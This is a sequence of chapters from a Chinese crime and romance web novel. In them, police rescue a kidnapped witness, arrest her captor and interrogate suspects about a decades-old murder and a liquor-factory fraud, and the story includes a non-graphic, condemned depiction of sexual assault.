孟相帆坐到信航对面,不知怎地,看他吃得特别香的样子,眼前闪过路崇宁和梁喜的脸,虽然孟相帆是路崇宁的朋友,可他还是忍不住有点心疼信航。
不管是谁先喜欢梁喜的都不重要,重要的是信航的情感从未见光
“你知道了吧?”
信航突然一句,把孟相帆问得一愣。
“小宁和喜喜。”信航给他提示。
孟相帆装傻,“什么?”
信航搅起一口面吃掉,擦擦嘴,说:“我知道小宁和喜喜在一起了,前段时间有天晚上我从喜喜家路过,看见小宁和她”
孟相帆以为看见他俩手牵手,就像今天他看到的一样,没想到信航说:“在路灯下接吻。”
当时很晚了,街上几乎没人,所以路崇宁和梁喜相拥的身影格外乍眼,虽然只有几秒钟,但却恰好被信航捕捉。
从那天开始他便选择性消失,经常在单位加班,一熬一夜,偶尔见面,要么单独见梁喜,要么单独见路崇宁,没有两人一起见的时候。
“他俩为什么瞒我呢?”
孟相帆安慰他,“我也才知道。”
信航习惯性伸手摸烟,没摸到,烟盒不在,孟相帆赶忙掏出自己那盒。
好巧,今晚路崇宁和信航都跟他要了烟。
点燃信航吸了一口,说:“虽说我们仨从小一起长大,可从始至终我都是一个旁观者,我很早就知道小宁喜欢喜喜,我怎么可能和我兄弟抢?他已经没有爸妈了,不能再没有喜喜。”
“当然。”信航苦笑,“我也抢不过。”
是啊,抢不过,与其最后闹僵,还不如放在心里,不破坏原本那份美好。
“唉。”孟相帆不知道说什么安慰,单恋很苦,见不得光的单恋更苦。
“没事。”信航摆摆手,“这些年我都习惯了,一开始可能会嫉妒,会难过,现在真习惯了,我今天说的这些话你别跟小宁说,就当我不知道,等什么时候他俩想告诉我自然会告诉,现在咱俩谈正事。”
烟叼上,泡面桶挪到一边,信航从包里掏出一个文件夹,像变脸一样抹掉刚才难过的情绪,马上进入办案状态。
这几个动作在孟相帆心里一下立住了,看来路崇宁没交错兄弟。
“这几个人你认好,都是刘俊华的亲信,尤其是曲天明,他参加过柔术比赛,拿过奖,单独过招我都未必是他的对手,吴青没功夫,但他脑瓜子活泛,年轻时候混社会,当过梁叔的线人,他现在在整个化城有八家连锁生鲜店,其中两家做精品,开在高档小区旁边,专卖给有钱人,听说塑料袋都比别的店贵两倍,还有一家做建筑原材料的公司,给游乐场项目供应原料,原本公寓那边他也想拿,但是他吃不下,刘俊华没给他,周胜是吴青的人,目前从光华建筑离职,不知去向,马有平最有可能在他手里。”
刘俊华在化城虽没到手眼通天的程度,但为保险起见,他想让孟相帆和队里两个生脸同事去查周胜和马有平的下落,眼下只有将马有平带回来,才能知道杨婉仪遇害的具体细节和藏尸地点。
孟相帆实在纳闷,“马有平到底疯没疯啊?”
“医院诊断是间歇性精神病,不排除装疯的可能。”
“要是我,为了保命我也能装疯。”
保命是个关键点,它能激发人的本能,任何有违常理的,甚至违法的行为都有可能发生,何况装疯本身不违法。
“周胜辞职前住哪?”
“工地附近租的房子。”
信航调出地址信息,“小宁给我的,我发你,不过周胜好多天没回去了,现在空着,原来的号码处于关机状态,银行卡也没有消费记录。”
“不正常。”孟相帆一个外行都能察觉出来。
“是,所以要查他。”
接下来半小时,信航教孟相帆去哪几个地方查,用什么方法避免怀疑,孟相帆边听边记,感觉cpu都要干烧了。
第69章 第六十九章 抓捕。
在平房窝了半宿加一天, 周胜不敢拉开窗帘,不敢开灯,更不敢做饭, 虽说如此, 但也比乡下的地窝棚强多了,起码能遮风挡雨。
第二天晚上, 周胜将马有平捆好, 嘴里塞了块棉布, 确认万无一失才从后窗悄悄溜出去。
这些天吃不好睡不好, 他找了一家偏僻的小菜馆, 要了两个菜和一瓶白酒,以此满足缺失的口腹之欲。
这家店他没来过,但味道不错, 吃高兴了他又打包几个菜,准备回去拿微波炉热热,能顶两天。
临付账时瞥了一眼柜台上的酒,又要了两瓶一起带走。
原路返回, 从后窗溜进去, 周胜第一时间确认马有平在不在, 还好, 他捆得紧实, 但能看出挣扎的痕迹, 手腕都勒红了,衣服扣子前两个散开, 胸前皮肤裸露一块,把周胜看得眼热,加上酒劲上来, 一时错乱,他不可自控地伸手撕开马有平的衣服,两行泪从她眼里夺眶而出,但嘴被堵着,喊不出话,只能用脚蹬,周胜力气大,马有平没吃晚饭,根本拗不过他,最后只得任由他欺凌。
凌晨一点,周胜被啜泣声吵醒,他揉揉头,终于醒酒了,看见马有平缩在角落,身上□□,他挣扎着坐起来,把绳子解开,衣服扔给她,冷冷说了句:“只要你听话,我肯定放了你。”
马有平愤恨地看着周胜,抬手要打,被周胜抓住手腕甩回去。
“什么时候?”
周胜盯着她细白的双腿,随口谈条件,“陪哥玩几天。”
马有平收回目光,穿上衣服,抹掉脸上的眼泪要下床。
周胜伸腿拦住,懒散地问:“去哪啊?”
“洗手间。”
周胜翻身下地,跟在她身后,寸步不离,直到洗手
间门关上。
他倚墙点了根烟,思考着还是要换个地方,实在不行再租一个房子,这里还是不安全。
马有平上完厕所,周胜把带回来的饭菜放到桌上,窗帘扒开一道缝隙,把她拽到跟前,“吃了。”
马有平不动。
“吃饱了才有力气跑。”
这句话有绝对的说服作用,马有平拿起筷子,借着窗外月光,一口接一口的吃,她看不清什么东西,只盲目地夹,有一口吃到辣椒,呛得咳了两声,她没吐,而是硬生生咽下。
从前她老老实实待在医院,为了兄妹之间的情分,也为了死去的爸妈,更为了保命,只是今时今日她没想到被亲哥像丢垃圾一样丢在一旁,就算兄妹情分再深,从她被侵犯那一刻起所有的情分都变成了确切的恨意
周胜带回来的酒,让他享受了两天久违的快活日子,尤其是吴青又给了他三万现金。
给钱之前吴青问周胜在哪,他说:“你知道我在哪对你没好处,你只要知道马有平在我手里好好活着就行。”
话在理,吴青确实不想知道,两人约好钱藏在某处,周胜自己会去取,还说吴青派人跟踪无所谓,随时可以把马有平这个烫手山芋接走,既然是烫手山芋,吴青当然不愿沾边。
一时得意的周胜也没让马有平闲着,两天侵犯她数次,意外的是马有平很顺从,但每次结束后都问同一句话,“什么时候放我走?”
周胜觉得她这几年被关傻了,每次也用同一句话糊弄她,“快了,在等时机。”
快活之余周胜没忘寻找新的落脚点,很快便联系到临县一个出租房,地库一楼,一个月才六百块,家电齐全,他准备凌晨出发
孟相帆这两天和信航同事白天晚上奔走,把信航提供的地点都摸了一遍,得到一些信息,但没什么利用价值,自信心有点受挫,正当他沮丧的时候路崇宁打电话来,说刚才公司保安联系他,因为要交房租,周胜的房东联系不上周胜,直接找到单位来,因为项目与公司对接的所有事宜都归路崇宁管,保安直接给他打电话,路崇宁下楼见到这位房东阿姨,跟她说周胜离职了,现在已不是光华建筑的员工,房东阿姨说昨天晚上貌似在出租房附近见到周胜了,但没看清人就消失了,路崇宁建议信航同事晚上再去那个出租屋看一眼,所谓最危险的地方也是最安全的地方,万一周胜回去呢?没有办法的情况下只能拼一把“万一”了。
晚上十点多,郭超偷偷摸过去,他就是之前帮信航联系张姐的那位警察同事,出租屋前面有院子,距离有点远,容易暴露,他从另一间没人住的后墙绕过去,蹲在窗户底下仔细听。
刚开始没什么声音,可在他快要放弃的时候隐约听到有人打呼噜,他不确定,想再听听的时候一道黑影出现在后窗台,窗户从里面悄悄打开,一个女人蹦出来,转身悄悄关上窗户。
等她抬脚要跑时撞上郭超的目光,郊区灯光少,月光显得尤其亮,看清是个人后马有平受到惊吓,张嘴刚要喊被郭超一把堵住,赶忙挑重点说:“马有平吗?我是来救你的!”
马有平点点头,以防万一,先跑为上,郭超拉着她飞快逃离现场,等跑远才发现马有平没穿鞋,郭超问她:“你知道信航吧?”
“信航?去医院看过我的那个男的吗?”
“对!我们是同事,他让我来救你,真的,我的车在前面,我背你过去吧。”
马有平拒绝,这次换她拉着郭超往前跑,速度很快,她急于逃离那个让她窒息的屋子,还有那个让她作呕的男人。
找到车,一个男人从正驾驶下来,打开后车门。
马有平看见陌生人,本能要躲,郭超赶忙拉住她,说:“别怕,他是我朋友。”
男人正是孟相帆,郭超不让他过去,等在这里接应。
马有平这才放下防备,被孟相帆带到车上,他把纸巾递给马有平,“擦擦脚吧,有没有受伤?”
她的情绪还没完全平复,喘着气说:“带我去派出所,我要报案。”
“我知道,你留了纸条。”
“那个小伙子叫什么?”
“信航吗?”
“不是,和婉仪姐长得像的那个。”
孟相帆不知道该不该告诉她路崇宁的名字。
前面,郭超启动车子往前开,听到马有平说:“不止是纸条上那件事,我被强/奸了,那人我不认识,也不知道名字,我该怎么告他?”
马有平头发披散,脸上仍有泪痕,孟相帆心里不好受,郭超掏出手机找到周胜照片,递到身后问:“是他吗?”
马有平接过只简单看了一眼,便肯定地说:“是他。”
“畜生!”郭超忍不住骂了一句。
路上,孟相帆给信航打了个电话,简单说明情况,没一会儿郭超便开到单位,信航已经在门口等着了,没等车开过来他先跑过去。
马有平下车后看信航的目光有些闪躲,孟相帆把自己的衣服脱下来给她穿上,对信航说:“她被周胜强/奸了,怎么办?”
信航看着马有平凌乱的衣服还有灰突突的脸颊,只觉胸口压了块巨石,呼吸不畅,当警察这两年他见过各种普通人悲惨的人生,却仍旧没法做到冷漠和平静。
“你身上留下痕迹了吗?比如”
没等信航说完,眼泪从马有平眼里流下来,她点点头,“我逃跑前他跟我发生过关系,没戴那个。”
如果能采集到周胜的精/液,他铁定逃不掉法律制裁。
信航问郭超,“惊着周胜了吗?”
他摇头,“应该没有。”
马有平补了句,“他喝酒了,睡得特别死,本来他又找了个房子,打算睡醒就带我走。”
信航让郭超和孟相帆带马有平进去,他则联系那一片的派出所民警去抓周胜。
跑了一路突然停下来,马有平腿抖得不像话,孟相帆只得把她背进屋,待平复情绪后由信航同事给她做笔录
周胜是在睡梦中被抓的,他迷迷糊糊,还以为马有平要跑,本能找绳子,却没想到被铐住的人是自己。
“老实点!”
信航心里憋着火,下手重了点,把周胜疼得嗷嗷叫。
“叫什么名字?”
周胜咬着牙不说。
信航手上用力,周胜赶忙松口,“周胜。”
“带走。”信航将他扔给派出所民警。
“等等!”周胜抱有一丝侥幸,“我犯了什么事?”
“涉嫌强/奸,非法拘禁。”
信航说完周胜彻底蔫了,他知道马有平不是单纯跑掉,而是第一时间报了警,要不然警察不会来得这么快!
周胜被带走之后,信航和一个民警搜查房子里留下的线索和物证。
这间房应该近几年装修过,在室内修了卫生间,加上房租便宜,往出租很容易,信航找到周胜用的手机,里面有几通电话,都是一个号码,归属地是化城。
除手机以外,一些吃的喝的,几件脏衣服,男款女款都有,再就是一些生活垃圾,还有周胜的个人证件,这些东西足以判断周胜和马有平曾共处一室。
虽然逮捕过程顺利,但信航知道这个案子才刚刚撕开一个口子而已,想要给刘俊华定罪,既要找到杨婉仪的尸骨,又要找到刘俊华的犯罪证据。
不,准确说是马有原的犯罪证据。
第70章 第七十章 突破口。
马有平在安北精神病院待了几年相安无事, 信航觉得真正的导火索是她看见了长得像杨婉仪的路崇宁,如果当年她目击了凶案现场,那么路崇宁的出现对她刺激相当大, 加上不管不问的亲哥, 才促使她决定揭发一切。
当信航带着疑问跟马有平证实的时候她说:“我哥和婉仪姐当年刚在一起就把她介绍给我认识,婉仪姐长得漂亮人又善良, 经常给我买这买那, 很关心我, 我哥特别喜欢她, 我爸妈身体不好, 我怕我哥有负担,高中没念完便辍学回家照顾他们,我哥和婉仪姐在化城打工, 后来我爸妈相继去世
,婉仪姐跟我哥分手,而且又处了一个家庭条件很好的男朋友,我哥受不了刺激, 去了南方, 好几年没回来, 也不联系我, 一二年的时候他突然给我打电话, 给我汇了一万块钱, 那时一万块不少,我哥说他在那边做生意, 赚了不少钱,等他再出现的时候穿着很贵的衣服,整个人大变样, 和我在电视里看到的那些有钱人很像,他还带了婉仪姐回来,让我看着她,婉仪姐虽然不情不愿但没跑,后来她偷偷告诉我为什么被我哥带来。”
“原来婉仪姐老公经营的酒厂出了事,我哥以帮她为由,说只要婉仪姐跟他重归于好,就能帮路家还清债务,否则不会放过婉仪姐的儿子,当时婉仪姐家状况很不好,夫妻俩躲债到杨家镇,儿子被寄养在朋友家,为了让她相信,我哥给她看了她儿子被债主殴打的照片,她不得已才答应我哥提出的条件,只是隔几天后我哥回到全喜村,两人不知道因为什么发生争吵,我哥失手杀了婉仪姐,被我发现后威胁我说如果我敢报警,也连我一并杀了。”
虽然事先早有心理准备,可当信航听到杨姨已不在人世的消息后还是很伤心,他不知道怎么跟路崇宁说,杨姨失踪这些年,虽然有猜测,但好歹没有确切消息,这对路崇宁来说是个希望,现在一切都化为泡影了。
信航问马有平,“谁处理的尸体?”
“我哥。”
“尸体埋在哪了?”
马有平摇头,“我不知道,他怕我跑掉,把我捆在车里,还蒙了眼睛,车开出村子,驶过一段很颠簸的路,后来车停了,我哥应该是把婉仪姐的尸体搬下去埋了,处理完又开车带我回家,那一晚我过得浑浑噩噩,第二天精神有些失常,我哥便找人将我送进医院,这些年他从没去看过我,只留下一句话,说在我身边安插了监视我的人,如果我敢报警肯定没命,后来我病好了也不敢说,装疯卖傻才活到现在,直到你带婉仪姐的儿子来看我他们母子真的很像,尤其是眼睛,婉仪姐儿子走后我总做噩梦,梦到我哥掩埋婉仪姐的尸体,黑夜里他挥着铁锹,想连我一起埋进去,吓得我整夜睡不着,后来我终于明白了,有些债躲不掉的,杀人就得偿命。”
“你再好好想想,有可能的地方。”
“像山里,我听到树叶唰唰的声音,还有鸟叫。”
信航一下想到“喜山”,距离全喜村近,而且连接村子和山那条路不是水泥路,而是土路,车子开过去的话会有些颠簸。
在整个对话的过程中马有平一直朝左上方看,典型在回忆状态,而且说话有条理,完全不像编造,所以信航觉得有一定可信度
根据周胜手机的通话记录,他和对方每两天通话一次,逮捕周胜前一天通过话,如果再次通话联系不上,有人该惊了。
在对周胜连夜审讯中,他一开始供述自己受人之托,照顾马有平,得知警方已经掌握了他□□马有平的有效证据,这才松口说让他帮忙的人是吴青,他让周胜看管马有平,别的没说,他拿钱做事,只是贪心越距,把自己搭进去了。
信航问他:“吴青有没有让你做过别的事?比如监视什么人?”
周胜讨价还价,“监视犯法吗?如果我说了算不算戴罪立功?”
信航气得想揍他,但不能动手,只能用眼神警告,周胜这才老实,说:“今年四月份的时候吴青让我到化城一个小区超市上班。”
“是福泽小区吗?”
周胜听到信航问,了然他应该知道一些,或者全部知道,赶紧先交代,“吴青让我监视的人叫梁辰义,后来听说他脑出血死了,我以为我马上可以撤,但吴青不让,他说怕引别人怀疑,又让我干了一段时间,之后把我调到光华建筑上班,光华的老板也是我同乡,哦,就是马有平她哥马有原。”
信航故意纠正,“据我所知光华建筑的老板叫刘俊华。”
“呵!他以为他改了名就能飞升上流社会了?底子在那呢,农村出去的野鸡,傍上一个五十多岁的富婆,富婆投钱给他做生意,吴青早年去珠三角一带就是跟马有原混的,赚了钱又回到化城,投资酒厂,不知道使了什么阴招把酒厂骗过来,之后把厂房转手卖给马有原,改建游乐场,他又给项目供应原材料,赚了好大一笔。”
“马有原什么时候改的名字?”
“那不知道,本来吴青还跟我装呢,一个村的我能认不出他嘛。”
第二天就是吴青联系周胜的日子,眼下警队的人在监视他,人没离开化城,找了一帮朋友在浴池泡澡侃大山。
“周胜,你说刚才吴青使了阴招把酒厂骗过来,什么阴招?”
周胜低头,“不知道。”
信航一拍桌子,周胜猛地抬头,撞上信航冷冽的目光,“我之前去全喜村的时候见过你爸,他一把年纪了,一直以你为傲,说你很孝顺,你还想出狱后见到你爸吗?”
亲情是审讯中必不可少的利器,一个人即便罪孽深重,但内心深处或多或少都有柔软的一面,对于周胜来说,仅剩的至亲只有他爸了,虽然他很少回家,但终归惦记。
“吴青给酒厂投资后,背着当时的酒厂老板往酒里掺了东西,导致喝酒的人出了事,遭到分销商和客户索赔,有一次我和吴青吃饭,他喝多之后跟我说的,醒来完全不记得,我也没跟他提过,我想万一哪天出了事,还能拿这个要挟他一把。”
“你倒聪明。”
周胜叹了口气,“喝酒误事,我就不该喝酒。”
信航一字一顿纠正,“错不在喝酒,你犯了□□罪。”
周胜低下头,满色阴沉得难看。
“往酒里掺东西是吴青亲手做的吗?”
“他指使工人做的。”
“谁?”
周胜支支吾吾。
信航推他一把,“都这时候,别挤牙膏了!”
“刘洋!吴青的生鲜店有一家归他打理,就是因为当年他帮了吴青,作为回报,吴青才给了他一家店一半的利。”
信航听完,说:“你查到这些不容易吧?”
“容不容易,现在不都还给你们了吗?”
要想定刘俊华的罪,吴青是个突破口,而吴青的突破口是刘洋,得赶紧找到他
第二天吴青老时间联系完周胜后,开车前往各个生鲜店开始一月一次的巡店,他这人初中文凭,没读过多少书,混到今天全靠命好,这是他自己说的,当然,别人的话没这么好听。
生鲜一号店在雨前街,周围全是老小区,生意很好,吴青进店前给店长刘洋打电话,没人接。
算了,刘洋三天打鱼两天晒网,吴青已经习惯了,最近两人闹得有点僵,原因是吴青想把分账调整,给他一半实在太多了,刘洋坚决不同意,又拿当年的事相要挟,吴青听得刺耳,骂了他两句,刘洋直接把电话挂了。
进店溜达一圈,吴青见客人不少,随便问了几句,赶紧去第二家。
信航这边怕吴青起疑,特意让周胜正常接听电话,暂时没什么异动,但是要找出当年的证人不容易,何况刘洋和吴青有较深的利益纠葛,而且跟着他赚了钱,要是不愿出来作证很正常,所以找刘洋之前信航做了充足的心理准备,另外据周胜交代,刘洋手里有一份当时酒厂造假的视频,吴青和刘洋都在现场,视频是否是刘洋拍的还有待求证。
找到刘洋很容易,把他请到警局后他拒不承认当年对路召庆的酒厂做过什么,直到信航提到视频,他肉眼可见地慌乱,紧张得脸上的肉抽动两下。
“你说什么视频?我不清楚。”
信航手里的笔一下一下敲打的桌面,“我给你点提醒啊,路召庆,吴青,酒厂,索赔”
这时郭超推门进来,对信航说:“找到了。”
两人一齐看向刘洋,他的手指不停地搓,感觉都快搓出火星子了。
“刘洋,吴青什么人你清楚,要是
到最后他把一切都推到你身上,你辩解得了吗?”
“都是吴青逼我干的!”
刘洋耐不住施压,说:“吴青给了我一笔钱,让我关掉酒厂监控,往酒里掺高浓度酒精,怕他不给我钱,我就留了个心眼,用手机悄悄拍下他跟我在生产车间支使我造假的视频,所以后来他才肯把雨前街生鲜店每年一半的利润给我,可是自从他帮游乐场项目供料之后他觉得自己行了,可以压制我了,对我也不像以前那么客气,更要把利润收回去,你们去查,吴青每个店都缺斤少两,他供料的公司也经常偷工减料,再有他和光华建筑老板的关系肯定不一般,否则他公司的资质想拿下游乐场的供料比登天还难。”
狗咬狗一嘴毛,信航庆幸他们内斗,这回吴青想往外摘是不可能了。
70-76
第71章 第七十一章 情缘浅,孽缘深。
刘洋被捕, 吴青迟早会知道,吴青知道了,刘俊华自然也会知道, 所以留给信航的时间少之又少。
几番开会讨论后, 队里决定在吴青惊着之前先逮捕他,或许他能知道路召庆夫妻死亡的确切细节, 好在吴青那边一直有人盯着, 逮捕命令下达后速战速决, 只是吴青一脸懵逼, 不停问他犯了什么事。
虽然人抓到了, 但吴青一直装傻充愣,直到信航提到刘洋在酒厂车间偷偷录下的视频后吴青情绪激动,破口大骂, “操!我就知道是他把我卖了!”
剩下的话简直不堪入耳,信航打断他,“吴青!请你正面回答问题。”
吴青闭嘴,脑子开始飞速运转, 他在权衡, 怎么做才能让自己的罪量最小化, 各方利益最大化, 甚至于万一判刑, 出狱后他能获得什么。
“好, 我说,是我指使刘洋给酒造假, 吞了路召庆的酒厂,但他自杀跟我没有任何关系。”
“你跟路召庆有仇吗?这么害他。”
“没仇,我当年给路召庆的酒厂投钱纯粹是看在梁辰义的面子, 我以前给他当过线人,路召庆是梁辰义的好兄弟,有梁辰义作保,所以我才放心投钱,而且一切按照合同办事,至于路召庆为什么自杀我实在不清楚,可能被债主逼的,你们去找他那些债主啊。”
信航:“他妻子杨婉仪呢?”
“不知道,路召庆死后这个女人就没下落了,说不定是她逼死了她老公,抛夫弃子远走高飞。”
或许吴青真不知道,或许在装傻,信航换个方向,说:“咱们聊聊刘俊华吧。”
“他怎么了?”
“你和刘俊华什么关系?”
“合作关系啊,他是甲方,光华建筑承建的游乐场项目,我给他们供应原材料,仅此而已。”
“你投资酒厂的钱哪来的?”
“我自己赚的。”
信航打开文件夹拿出几张纸,“你去南方打工的公司叫“盛茂”,它是光华建筑的前身,而你回化城前账户突然多了一百五十万,什么公司会给你一百五十万的工资?”
吴青头上开始冒冷汗
信航继续说:“得到酒厂后你又转头卖给光华建筑,厂址上原来的建筑于今年五月被拆除,现在在建游乐场。”
警方掌握的信息远远超过吴青的预判,他彻底慌了。
“你为什么让周胜去监视梁辰义?”
“”
“为什么让刘云刻意接近梁辰义?”
吴青闷着头,满脸颓样。
信航盯着吴青的双眼,“是你们间接害死了他。”
“我不知道。”
吴青不承认,也不敢承认,就算他背下所有的罪也不能透露刘俊华半个字
在吴青被捕后刘俊华依然稳坐在光华建筑公司内,他貌似一点不慌,还把路崇宁叫家里吃饭。
信航不确定刘俊华想做什么,大概是想试探路崇宁的口风,毕竟杨婉仪的尸骨还没找到,光凭一句话的指证,定不了刘俊华的罪。
路崇宁被信航叮嘱,一定要装作毫不知情,正常上班,跟刘俊华正常对话,他知道很难,但路崇宁必须这么做,而且要尤为注意自己的人身安全。
下班后路崇宁开车到市区最大的超市转悠,天冷了,水果种类没那么多,而且贵,他挑了两个礼盒,又买了点坚果,结完账往刘俊华家里赶。
停车后他在车里坐了两分钟,不断告诉自己,现在没有直接证据证明刘俊华杀了杨婉仪,所以他不能对刘俊华表现出恨意和不满,这样的念头在他心里反复,以此来说服自己。
每次他来刘俊华都在门外等,无一例外,见面后路崇宁笑着打招呼,“华叔,外面冷,你怎么出来了?”
“还行,迎迎你。”刘俊华看向路崇宁手里拎的东西,“不是告诉你别买东西嘛,又花钱。”
“路过超市随便买了几样。”
包装那么精致,可不是随便买买那么简单,刘俊华心里有数。
两人一前一后进屋,饭菜已经好了,隐约冒着热气,对比空荡的屋子,显得气氛很诡异。
“洗洗手,吃饭。”刘俊华说。
“好。”
在洗手间洗完手,路崇宁瞥见洗手台上有根长发,之前和曼姨见过一次面后路崇宁几次来再没见过除了做饭阿姨以外的女人,不知是不是刘俊华刻意让他女朋友回避。
“这两天冷,怎么穿这么少?”
“供暖了,屋里热。”
路崇宁外面穿的短款棉服,里面穿的却是短袖,棉服是梁喜给他新买的,大小正合适,他很喜欢,这几天每天都穿。
“还是年轻,体格子硬实,我年轻那会儿也不在意,可劲造,现在老了,不行了,稍微冷点就得多穿。”
路崇宁盛了碗汤给刘俊华,“天冷,项目已经停工了,这边没多少事儿,华叔你要不回广州避避寒吧。”
“过几天看看。”
去广州不是出国,路崇宁并不担心他离开化城。
“你有个发小是警察吧?”
“是。”
“平时联系多吗?”
“还行,小时候总在一起玩,上大学后见面不多,加上我又出去几年,现在他当警察,忙得爸妈都很少见着。”
刘俊华点点头,没往下说,路崇宁反问他:“怎么了?华叔,有事需要帮忙吗?”
“没事,随便问问。”
路崇宁不能往下刨根问底,把最后一口饭吃光,又盛了一碗,“阿姨做的菜很好吃,哪里人啊?”
“四川那边的,我在广州的时候她就在我家做饭,好几年了。”
“川菜确实好吃。”
“你俩在家谁做饭?”
“有时喜喜做,有时在外面吃。”
刘俊华给路崇宁夹了一个虾,“赚得也不少,别太节省了。”
“我知道。”
刚到光华上班第一个月路崇宁的工资是到手六千,而且是扣完保险之后,第二个月八千,第三个月竟然开到了一万,他曾找刘俊华谈过这件事,说自己经验尚浅,不值这么多钱,刘俊华回应他:“给你多少都是你应得的,不用有负担,好好工作。”
吃完饭路崇宁想收拾碗筷,被刘俊华叫去一边喝茶,路崇宁不会泡,刘俊华一步步教他。
“我最近收拾以前的东西,想顺便找找我和婉仪的合照,但是怎么也找不到,人上了岁数念想多,你那要是还有你妈的照片,能不能给我一张,如果没有多余的算了。”
“回去我找找,有多的给你拿过来。”
“好。”刘俊华看起来很开心,笑时眼角皱纹叠加,这才有点他这个年纪的感觉。
这时门铃响了,路崇宁要起身,被刘俊华拦住,“我去吧,谁找我你也不认识。”
等了半天刘俊华才回来,说:“物业的,一天天净事儿,不是要这个就要那个,管得还挺严。”
路崇宁问:“这个小区物业费一年多少钱啊?肯定特别贵。”
“还行,一般能买起房子也不差这点物业费。”
坐了两杯茶的时间,路
崇宁起身告别,刘俊华又把他送到门外,直到他上车才转头回去。
驶出别墅区开远,确认身后没人跟,路崇宁把车靠边停下来点了根烟,望着窗外长街发呆。
冬天的风不像夏天那么有实感,同样在室内向外看,通过夏天树叶摆动的幅度就能知道风力大小,而在冬天,所有的一切因为冰冷而凝滞,带着岿然不动的肃穆,包括头顶一株株树木的枝干。
半小时前,路崇宁刚跟疑似杀害他妈妈的人吃过饭,饭桌氛围融洽,他还给那个人盛了汤,各种画面闪过,他把刚点着的烟在手里用力抿灭,烟头烫伤手心,热辣的痛让他清醒,但只有这样心里才能好受一些。
刘俊华不会无缘无故跟他打探信航,可他蜻蜓点水的态度匪夷所思,像试探又像家常聊天,而后面又跟路崇宁要杨婉仪的照片,究竟什么意思?难道想打感情牌?
夜里十点钟,刘俊华家的茶室换了一位客人,曲天明手夹雪茄,跟刘俊华一起抽,他自己买不起,日常全靠刘俊华送。
“哥,吴青怎么会进去?”
“刘洋把他捅了。”
“刘洋为什么捅他?”
刘俊华呼出一口烟雾,手里的串盘来盘去,发出“嘎嘎”的响声,“因利而聚,因利而散,没有长久的朋友,只有长久的利益。”
曲天明还是觉得不对劲,“吴青不会把你供出去吧?”
刘俊华一脸笃定,“不会。”
“凡事都有万一。”
“除非他想让他儿子死。”
刘俊华表现得太稳了,神情和话语一样稳,曲天明被他的情绪感染,也跟着安下心来,问:“小宁那边什么状态?”
“目前看不出来,如果他知道什么内情还能跟我如常交流,我只能说他太会演戏了,比他爸的心理素质强一百倍。”
“我觉得不能,他那么年轻,有时候看起来挺单纯的。”
这点刘俊华倒认同,尤其是对待感情方面,难得的纯情,他故意给了很多诱惑,路崇宁接都不接,最多客套几句,应付一下场面。
“周胜还没下落吗?”
提到这个人,曲天明紧皱眉头,“没有,我去过他的出租屋,屋里没有打斗痕迹,房东说周胜很久没回去了,他拿钱办事,现在吴青折进去,他肯定不敢冒头,说不定在哪藏着,等风波过了再联系我。”
刘俊华说出自己的担心,“说不定周胜也被抓了。”
“不能吧?没漏风啊?”
“周胜平时跟家里联系不多,他消失一段时间根本没人在意,不像刘洋和吴青,一晚上没回家,家属直接找上门,一闹肯定有动静。”
曲天明试探问道:“能不能让梁局帮忙打听打听。”
“不用,告诉刘书记把全喜村盯死,最近有什么陌生人去第一时间告诉我,再就是周胜,接着找,生要见人死要见尸。”
“老刘一直盯着呢,放心。”
“可能我和化城八字不合,以后还是尽量少来吧。”
曲天明吸了一口雪茄,说:“哥,万事小心为上,左右你过几天就去广州了,先准备着,如果真有什么异动,从那边直接走。”
“后路我早就想好了,一切按原计划。”
“要真有那么一天,小宁这边”
“只能说明我们爷俩情缘浅。”
刘俊华说到这,视线从雪茄转向浑圆的手串,“孽缘深。”
第72章 第七十二章 周靖哲挨收拾。……
三叔前段时间帮梁喜联系了一个事业单位, 要从他们工作室采购黑陶,经过这半年复习训练,梁喜的手艺精进不少, 老王经常夸赞, 导致周靖哲很受打击,在工作室也不像之前那么神气了, 但他手里还有一些佩姐在职时给他介绍的顾客资源, 所以收入依然客观。
上午, 梁喜去那个事业单位送完第一批货出来, 想在附近吃个午饭, 只是走了一道街也没找到想吃的店,正当她考虑要不要回工作室泡面的时候看见一个男的从牛肉饭那屋出来,身着灰色工作服, 还背着一个单肩包。
“孟相帆?”
梁喜没想到在这碰着他。
孟相帆明显意外,可意外之余还有点不知所措。
梁喜看着他的工作服,问:“你这身”
“啊。”他笑笑,“我爸给我找了个活干。”
“找活干?”梁喜半信半疑, 孟相帆之前过的什么生活路崇宁跟她说过, 简直神仙日子, 自由潇洒还不缺钱, 怎么可能回化城上班?
“什么工作?”
“安宽带。”
梁喜一听眉头皱得更深了, 但不好意思说什么, “你吃饭了吗?”
“刚吃完,单位还有事, 我先走了哈。”
没等梁喜回应孟相帆赶紧走了,着实反常,不像他平时爽朗话多的样子。
梁喜掏出电话给路崇宁打过去, 没接,应该在食堂吃饭吧,她招手拦了一辆出租,回工作室。
路上路崇宁发信息过来,梁喜问了孟相帆的事,他说知道,已经上班一段时间了,家里给安排的,梁喜听完还是觉得哪里不对,之前一起吃饭孟相帆提都没提,还说等过完年去滑雪。
算了,毕竟是人家的私事,刨根问底不好
间隔一天,第二批成品也出来了,梁喜本想自己开车去送,周靖哲却说昨天他有事,没帮上梁喜,今天必须帮忙,梁喜直接拒绝,但他有些执意,老王见状发话让他送,没办法,梁喜只好让他跟着。
交付过程很快,装黑陶的礼盒挨个清点数量,数虽然对上了,但其中一个大件竟然碎了。
从接单开始到出发之前,以防发生上次和光华一样的状况,这次梁喜特意多包了一层,而且事先检查好几遍,没想到还是碎了。
梁喜下意识看向周靖哲,他跟交付的人说:“不好意思啊,可能路上颠簸,我让梁喜回去再给你们重新做一个。”
对方明显有点不高兴,不像刘俊华那么好说话,“那你们快点啊,领导催我呢。”
“行,抱歉抱歉。”
该说的话都被周靖哲说了,回去路上梁喜一言不发,周靖哲还安慰她说没事,老王不会批评她,重做一个就是了。
等回到工作室,梁喜想偷偷查下监控,没想到一个拎着工具箱的工作人员上门来,说有人联系他工作室监控坏了,需要维修。
真巧
梁喜问他:“联系你的人是周靖哲吗?”
“是姓周,名字不知道。”
那肯定是了。
晚上回家吃饭的时候梁喜把这件事说给路崇宁,他听完没什么反应,只告诉梁喜干好自己的活,别理他。
这之后第二天周靖哲没来,老王跟梁喜说周靖哲生病了,要在家歇几天,梁喜感觉不对,去送黑陶那天还精神饱满一副吃了仙丹的模样,说病就病了?而且听老王那意思好像挺严重。
晚上梁喜下班直奔咖啡店,路崇宁没想到她会来,有点意外。
“你怎么来了?”
“不欢迎啊?”
常涛看见梁喜倒挺开心,隔着柜台往前抻脖子,“这不咱妹吗?喝点啥?涛哥请你。”
